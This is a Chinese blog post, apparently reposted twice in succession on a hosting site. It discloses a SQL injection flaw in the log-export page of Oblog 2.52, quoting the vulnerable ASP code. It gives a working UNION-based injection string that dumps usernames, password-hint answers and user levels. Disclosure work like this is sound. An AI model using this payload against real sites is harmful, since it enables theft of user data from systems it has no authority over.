Oblog 2.52导出日志最新漏洞
/**
作者:慈勤强
Http://blog.csdn.net/cqq
2005-02-22
*/
昨天正好从oblog官方网站下载了一套最新的blog系统,版本是2.52的吧。
本来是在qq上看到一个朋友讨论help.asp文件的入侵思路的,
那篇文章在这里可以找到,
http://blog.csdn.net/cqq/archive/2005/02/22/297316.aspx
之后,顺手注册了一个用户,大体浏览了一下,
在后台有个导出日志的功能比较好,
这样就可以防止由于blog站点关闭,而自己辛辛苦苦写的文章没法保存的问题了。
csdn的blog就没有导出日志的功能,为此我还特意写了个小程序,
请看这里:
http://blog.csdn.net/cqq/archive/2005/02/04/280545.aspx
不过,这个导出日志的asp文件存在sql injection漏洞,
本来是导出自己的文章的,
这样一来,数据库里的任何数据都可以随便导出了,
直接危害到整个blog系统的安全。
主要的SQL代码如下:
sdate=request("selecty")&"-"&request("selectm")&"-"&request("selectd")
edate=request("selectey")&"-"&request("selectem")&"-"&request("selected")
sql="select topic,addtime,logtext from blog where username='"&username&"' and addtime<=#"&edate&"# and
addtime>=#"&sdate&"#"
大家看到,所有的客户端数据都没有经过检查就直接使用了,
自然会有问题,
因为不管什么情况,客户端的数据都是不可轻易相信的。
那么,我们构造这样的输入
"selectd=22# and 1=2 union select username,answer,userlevel from [user] union select topic,addtime,logtext from blog
where addtime<=#1900-1-1"
整个的sql语句就变为了:
select topic,addtime,logtext from blog where username='慈勤强' and addtime<=#2007-2-22# and addtime>=#2000-2-22# and
1=2
union select username,answer,userlevel from [user]
union select topic,addtime,logtext from blog where addtime<=#1900-1-1#
这样,就可以输出所有的用户名、用户密码提示问题答案和用户等级了
当然也可以得到数据库中的任何内容了,只要适当的变换sql语句。
/**
作者:慈勤强
Http://blog.csdn.net/cqq
2005-02-22
*/
昨天正好从oblog官方网站下载了一套最新的blog系统,版本是2.52的吧。
本来是在qq上看到一个朋友讨论help.asp文件的入侵思路的,
那篇文章在这里可以找到,
http://blog.csdn.net/cqq/archive/2005/02/22/297316.aspx
之后,顺手注册了一个用户,大体浏览了一下,
在后台有个导出日志的功能比较好,
这样就可以防止由于blog站点关闭,而自己辛辛苦苦写的文章没法保存的问题了。
csdn的blog就没有导出日志的功能,为此我还特意写了个小程序,
请看这里:
http://blog.csdn.net/cqq/archive/2005/02/04/280545.aspx
不过,这个导出日志的asp文件存在sql injection漏洞,
本来是导出自己的文章的,
这样一来,数据库里的任何数据都可以随便导出了,
直接危害到整个blog系统的安全。
主要的SQL代码如下:
sdate=request("selecty")&"-"&request("selectm")&"-"&request("selectd")
edate=request("selectey")&"-"&request("selectem")&"-"&request("selected")
sql="select topic,addtime,logtext from blog where username='"&username&"' and addtime<=#"&edate&"# and
addtime>=#"&sdate&"#"
大家看到,所有的客户端数据都没有经过检查就直接使用了,
自然会有问题,
因为不管什么情况,客户端的数据都是不可轻易相信的。
那么,我们构造这样的输入
"selectd=22# and 1=2 union select username,answer,userlevel from [user] union select topic,addtime,logtext from blog
where addtime<=#1900-1-1"
整个的sql语句就变为了:
select topic,addtime,logtext from blog where username='慈勤强' and addtime<=#2007-2-22# and addtime>=#2000-2-22# and
1=2
union select username,answer,userlevel from [user]
union select topic,addtime,logtext from blog where addtime<=#1900-1-1#
这样,就可以输出所有的用户名、用户密码提示问题答案和用户等级了
当然也可以得到数据库中的任何内容了,只要适当的变换sql语句。
上一篇:让Apache支持ASP.NET
下一篇:后台动态设置前台标签内容和属性
相关信息
- 关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 管理登陆
- Copyright © 2003-2007 ZhuYe123.COM. All Rights Reserved . 粤ICP备05072659号
- 致力于中国个人网站发展,我们一直在努力!